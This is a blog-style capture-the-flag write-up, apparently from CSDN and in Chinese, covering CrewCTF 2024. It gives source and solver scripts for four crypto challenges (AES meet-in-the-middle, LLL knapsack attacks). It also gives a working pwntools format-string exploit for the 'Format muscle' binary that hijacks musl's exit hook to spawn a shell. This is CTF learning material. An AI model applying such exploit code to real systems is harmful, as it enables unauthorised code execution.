[CrewCTF 2024] Crypto(4ES,Read between the lines,Boring LCG,Bigger and better)PWN(Format muscle)

周末也没怎么作,加上题比较难就看了看,等着周一小鸡块的WP

Crypto

4ES

from hashlib import sha256
from random import choices

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


with open('flag.txt', 'rb') as f:
    FLAG = f.read().strip()

chars = b'crew_AES*4=$!?'
L = 3

w, x, y, z = (
    bytes(choices(chars, k=L)),
    bytes(choices(chars, k=L)),
    bytes(choices(chars, k=L)),
    bytes(choices(chars, k=L)),
)

k1 = sha256(w).digest()
k2 = sha256(x).digest()
k3 = sha256(y).digest()
k4 = sha256(z).digest()

print(w.decode(), x.decode(), y.decode(), z.decode())

pt = b'AES_AES_AES_AES!'
ct = AES.new(k4, AES.MODE_ECB).encrypt(
         AES.new(k3, AES.MODE_ECB).encrypt(
             AES.new(k2, AES.MODE_ECB).encrypt(
                 AES.new(k1, AES.MODE_ECB).encrypt(
                     pt
                 )
             )
         )
     )

key = sha256(w + x + y + z).digest()
enc_flag = AES.new(key, AES.MODE_ECB).encrypt(pad(FLAG, AES.block_size))

with open('output.txt', 'w') as f:
    f.write(f'pt = {pt.hex()}\nct = {ct.hex()}\nenc_flag = {enc_flag.hex()}')

爆破空间不大,总共有4层可以两层加密两款层解密,进行中途相遇攻击。签到都这样了。

#中途相遇攻击
pt = b'AES_AES_AES_AES!'
ct = bytes.fromhex('edb43249be0d7a4620b9b876315eb430')
chars = 'crew_AES*4=$!?'

import itertools
from Crypto.Cipher import AES
from hashlib import sha256

mc1 = {}
mc2 = {}
for i in itertools.product(chars, repeat=6):
    k12 = ''.join(i)
    k1 = sha256(k12[:3].encode()).digest()
    k2 = sha256(k12[3:].encode()).digest()
    m1 = AES.new(k2, AES.MODE_ECB).encrypt(AES.new(k1, AES.MODE_ECB).encrypt(pt))
    mc1[m1] = k12
    m2 = AES.new(k2, AES.MODE_ECB).decrypt(AES.new(k1, AES.MODE_ECB).decrypt(ct))
    mc2[m2] = k12
    if m1 in mc2:
        print(mc1[m1], mc2[m1])
    elif m2 in mc1:
        print(mc1[m2], mc2[m2])

#_c*A?S A_*c=e  
#验证key
w = b'_c*'
x = b'A?S'
z = b'A_*'
y = b'c=e'
'''
k1 = sha256(w).digest()
k2 = sha256(x).digest()
k3 = sha256(y).digest()
k4 = sha256(z).digest()
ct = AES.new(k4, AES.MODE_ECB).encrypt(
         AES.new(k3, AES.MODE_ECB).encrypt(
             AES.new(k2, AES.MODE_ECB).encrypt(
                 AES.new(k1, AES.MODE_ECB).encrypt(
                     print(pt)
                 )
             )
         )
     )
'''
enc_flag = bytes.fromhex('e5218894e05e14eb7cc27dc2aeed10245bfa4426489125a55e82a3d81a15d18afd152d6c51a7024f05e15e1527afa84b')
key = sha256(w + x + y + z).digest()
flag = AES.new(key, AES.MODE_ECB).decrypt(enc_flag)
#crew{m1tm_at74cK_1s_g0lD_4nd_py7h0n_i5_sl0w!!}

 

Read between the lines

#!/usr/bin/env python3

from random import shuffle
from Crypto.Util.number import getPrime


with open('flag.txt', 'rb') as f:
    FLAG = f.read().strip()

assert len(FLAG) < 100

encoded_flag = []

for i, b in enumerate(FLAG):
    encoded_flag.extend([i + 0x1337] * b)

shuffle(encoded_flag)

e = 65537
p, q = getPrime(1024), getPrime(1024)
n = p * q
c = sum(pow(m, e, n) for m in encoded_flag) % n

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n{e = }\n{c = }\n')

这题还真虎了一下,就是这句 [i+0x1337]*b 这一开始看成直接乘,其实这是b个这个值。那就是个加法 a0*k0 + a1*k1 + ... =0 很简单这就是个背包问题,系数都很小128以内。长度不清楚但说明小于100先弄个99吧

k = 99
A = matrix(ZZ,1,k+1,[int(pow(i+0x1337,e,n)) for i in range(k)]+[n])
M = block_matrix(ZZ, [[1,A.T],[matrix(ZZ,1,k+1,[0]*(k+1)),-c]])
L = M.LLL()[0]
#(99, 114, 101, 119, 123, 68, 49, 100, 95, 121, 48, 117, 95, 51, 120, 112, 51, 99, 84, 95, 76, 76, 76, 95, 116, 48, 95, 98, 51, 95, 104, 49, 68, 100, 51, 110, 95, 98, 51, 116, 119, 51, 101, 110, 95, 116, 104, 51, 95, 108, 49, 110, 51, 115, 63, 63, 63, 125, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2481, 0)
bytes(L[0][:80])
#b'crew{D1d_y0u_3xp3cT_LLL_t0_b3_h1Dd3n_b3tw3en_th3_l1n3s???}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Boring LCG

import os
from sage.all import *
set_random_seed(1337)
Fp = GF(6143872265871328074704442651454311068421530353607832481181)
a, b = Fp.random_element(), Fp.random_element()

flag = (os.getenv('flag') or 'crew{submit_this_if_desperate}').encode()
s = Fp.from_integer(int.from_bytes(flag[len('crew{'):-len('}')], 'big'))

out = []
for _ in range(12): out.extend(s:=a*s+b)
print([x>>57 for x in out])
# [50, 32, 83, 12, 49, 34, 81, 101, 46, 108, 106, 57, 105, 115, 102, 51, 67, 34, 124, 15, 125, 117, 51, 124, 38, 10, 30, 76, 125, 27, 89, 14, 50, 93, 88, 56]

这题一看很简单是个LCG给高位,再一看p不是素数是p^3,这里的a,b参数都是随机值但给了种子,也就都给了。三次扩域的不清楚。详见小鸡块WP

Bigger and better

from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
from secrets import randbelow, choice
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from string import ascii_letters, digits
from flag import flag


key = "".join([choice(ascii_letters + digits) for i in range(150)]).encode()

blocklen = len(key)//5
polsize = 25
maxexp = 3

V, W, X, Y, Z = [bytes_to_long(b) for b in [key[blocklen*i:blocklen*i+blocklen] for i in range(5)]]

n = getPrime(4096)*getPrime(4096)*getPrime(4096)*getPrime(4096)
n = n^2

K = Zmod(n)
PP.<v, w, x, y, z> = PolynomialRing(K)

coeffs = [K.random_element() for i in range(polsize)]

pol = 0
for l in range(polsize):
    while True:
        i, j, k, s, t = [randbelow(maxexp) for _ in range(5)]
        if i == j == k == s == t == 0: continue
        pol = pol + coeffs[l] * v^i * w^j * x^k * y^s * z^t
        if len(pol.coefficients()) == l + 1:
            break

c = pol(V, W, X, Y, Z)
pol = pol - c
assert pol(V, W, X, Y, Z) == 0

key = sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
c = cipher.encrypt(pad(flag, 16)).hex()

with open("output.txt", "w") as f:
    f.write(f"{blocklen = }\n")
    f.write(f"{n = }\n")
    f.write(f"{pol = }\n")
    f.write(f"{c = }\n")

题没看,后来看WP不是很难。数有点大,就是5个未知量都是30字符240位,系数全给了结果也给了,还是背包问题,但这里由于未知量的规模不同需要配平一下,然后得到的是未知量的组合再除下。同上见小鸡块WP,下边是看着WP作的复现笔记。

from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES

blocklen = 30
n = ...

K = Zmod(n)
PP.<v, w, x, y, z> = PolynomialRing(K)
pol = ...
c = '92bbb516b6e04ac3c39df6834328028fc4525cd5c97eb220bf7be20d6d6db596'

coeff = pol.coefficients() #系数部分
print(pol.monomials()) #变量部分
#[v^2*w^2*x*y^2*z^2, v^2*w*x^2*y^2*z, v*w^2*x*y^2*z^2, v*w^2*x^2*z^2, v^2*x^2*y*z^2, w^2*x*y^2*z^2, v^2*w^2*x*z, v^2*w*x^2*z, v*x^2*y^2*z, v^2*w*x*z^2, v*w^2*y*z^2, v*x^2*y*z^2, x^2*y^2*z^2, w^2*y^2*z, w*x^2*z^2, w*x*y*z^2, w*y^2*z^2, v*w^2*x, w^2*x^2, v^2*x*z, v*w*y*z, v*x*y*z, w*x*z, x*z^2, w*x, 1]
L = block_matrix(ZZ,[
    [1,Matrix(ZZ,coeff).T],
    [0,n]
])

#类似背包问题,针对变量的度不同,每项乘以相应的系数使各项规模大概相同
for i,j in enumerate(pol.monomials()):
    L[i,i] *= (256^30)^(9-j.degree())  #乘以9-对应的变量的度 对齐(补足9变量长度)
L[:,-1:] *= n   #所有行最后列乘以n
res = L.LLL()

#将结果除以系数,得到变量结果
tt = []
for i,j in zip(pol.monomials(),res[0]):
    tt.append(j // (256^30)^(9-i.degree()))

zz = tt[-4]//tt[-2]      #wxz/wx
xx = tt[-3]//zz^2        #xzz/zz
ww = tt[-2]//xx          #wx/x 
vv = tt[-9]//xx//ww^2    #vwwx/x/ww
yy = tt[-5]//vv//xx//zz  #vxyz/v/x/z

key = b''.join([long_to_bytes(i) for i in [vv,ww,xx,yy,zz]])
#b'VxOriyvoRuqzPqq3RT6qRiLHzAlMZLJzcO47NDFp0Ub8qG9NGCGm74UuaZUBpswTzI1FxZsiHWLKBQFzLlTLnabORAHTER69pwLFaIMoqq9AcilGu3XCFQOCjDMhXyaXC9FVMUixFihUaLGhmukWcK'

key = sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(c))
print(flag)
#crew{LLL1ne4r1z4ti0n_15_c0oLLL}

 

PWN

Format muscle

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf((FILE *)&dword_0, 0LL);
  do
  {
    fgets(s, 256, (FILE *)&dword_0);
    printf(s);
  }
  while ( strncmp(s, "quit", 4uLL) );
  exit(0);
}

看上去简单的格式化字符串漏洞。特点:

1,这是个muscle的程序ld相当于libc

2,printf不识别 $ 符号,需要用%对齐偏移位置

3,exit(0)退出,不能通过写栈实现ROP,需要找exit_hook

这里的ld与libc不同,需要在里边自己找hook

void __fastcall __noreturn exit(unsigned int a1)
{
  sub_1B880();   //调用钩子
  sub_75E10();
  sub_5A100();
  Exit(a1);
}

__int64 sub_1B880()
{
  ...

  result = sub_68D30(&unk_AFE60);
  v1 = (_QWORD *)qword_AFC48;           //exit_hook -> stack    
  if ( qword_AFC48 )
  {
    v2 = dword_AFE64;
    result = (unsigned int)--dword_AFE64;
    if ( v2 <= 0 )
      goto LABEL_4;
    while ( 1 )
    {
      do
      {
        v3 = v1[(int)result + 33];       // stack+0x118->/bin/sh
        v4 = (void (__fastcall *)(__int64))v1[(int)result + 1];  // stack+0x18->system
        sub_68E20(&unk_AFE60);
        v4(v3);                          // system(bin/sh)
        ....

gdb跟进后,发现exit先调用1b880,这里边AFC48指向一个结构,这应该是个钩子,修改这里指到栈里可控位置。结构0处的指针偏移0和32处分别放system,(*)bin/sh

from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./format-muscle')
libc = ELF('./libc.so.6')

p = process('./format-muscle')
#gdb.attach(p, "b*0x555555555221\nc")

'''
0x00007fffffffde58│+0x00d8: 0x0000555555555199  →  <main+0> endbr64 
0x00007fffffffde60│+0x00e0: 0x0000000000000001
0x00007fffffffde68│+0x00e8: 0x00007fffffffded8  →  0x00007fffffffe22e  →  "/home/kali/ctf/2408/crew/fmt_muscle/format-muscle"
0x00007fffffffde70│+0x00f0: 0x00007fffffffdee8  →  0x00007fffffffe260  →  "COLORFGBG=15;0"
0x00007fffffffde78│+0x00f8: 0x00007fffffffded0  →  0x0000000000000001
0x00007fffffffde80│+0x0100: 0x000000008683fbf8
0x00007fffffffde88│+0x0108: 0x1a5b66d916ddf780
0x00007fffffffde90│+0x0110: 0x0000000000000001   ← $rbp
0x00007fffffffde98│+0x0118: 0x00007ffff7f69fde  →   mov edi, eax
'''
pay = b'%p,'*42+b'END'
p.sendline(pay)
msg = p.recvuntil(b'END').split(b',')
elf.address = int(msg[32],16) - 0x1199
stack = int(msg[34],16) - 0x158 
libc.address = int(msg[40],16) - 0x1afde  #ld-musl-x86_64.so.1
print(f"{elf.address = :x} {stack = :x} {libc.address = :x}")

#gdb.attach(p, f"b*0x{libc.address+0x1b8c5:x}\nc")
#exit_hook -> stack+0x10
for i in range(6):
    v = p64(stack+0x10)[i]
    pay =  b'%c'*8 + f'%{(v-8)&0xff}c%hhn'.encode() #10
    pay = pay.ljust(0x20) + p64(libc.address + 0xafc48 + i)
    p.sendline(pay)

'''
   0x7ffff7f6a8c5                  mov    r12, QWORD PTR [rdx+rax*8+0x108]
   0x7ffff7f6a8cd                  mov    rbp, QWORD PTR [rdx+rax*8+0x8]
   0x7ffff7f6a8d2                  call   0x7ffff7fb7e20
 → 0x7ffff7f6a8d7                  mov    rdi, r12
   0x7ffff7f6a8da                  call   rbp
'''
#rdx + 0x1f*8 + 0x108 ->/bin/sh
bin_sh = next(libc.search(b'/bin/sh\0'))
for i in range(6):
    v = p64(bin_sh)[i]
    pay =  b'%c'*8 + f'%{(v-8)&0xff}c%hhn'.encode() #10
    pay = pay.ljust(0x20) + p64(stack+0x118 + i)
    p.sendline(pay)

#rdx + 0x1f*8 + 0x8 -> system
pay = b'quit'*4+flat(stack-0x20*8+0x18,libc.sym['system'])
p.sendline(pay)

p.interactive()

其它的题有时间再慢慢看。(估计无下文了)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值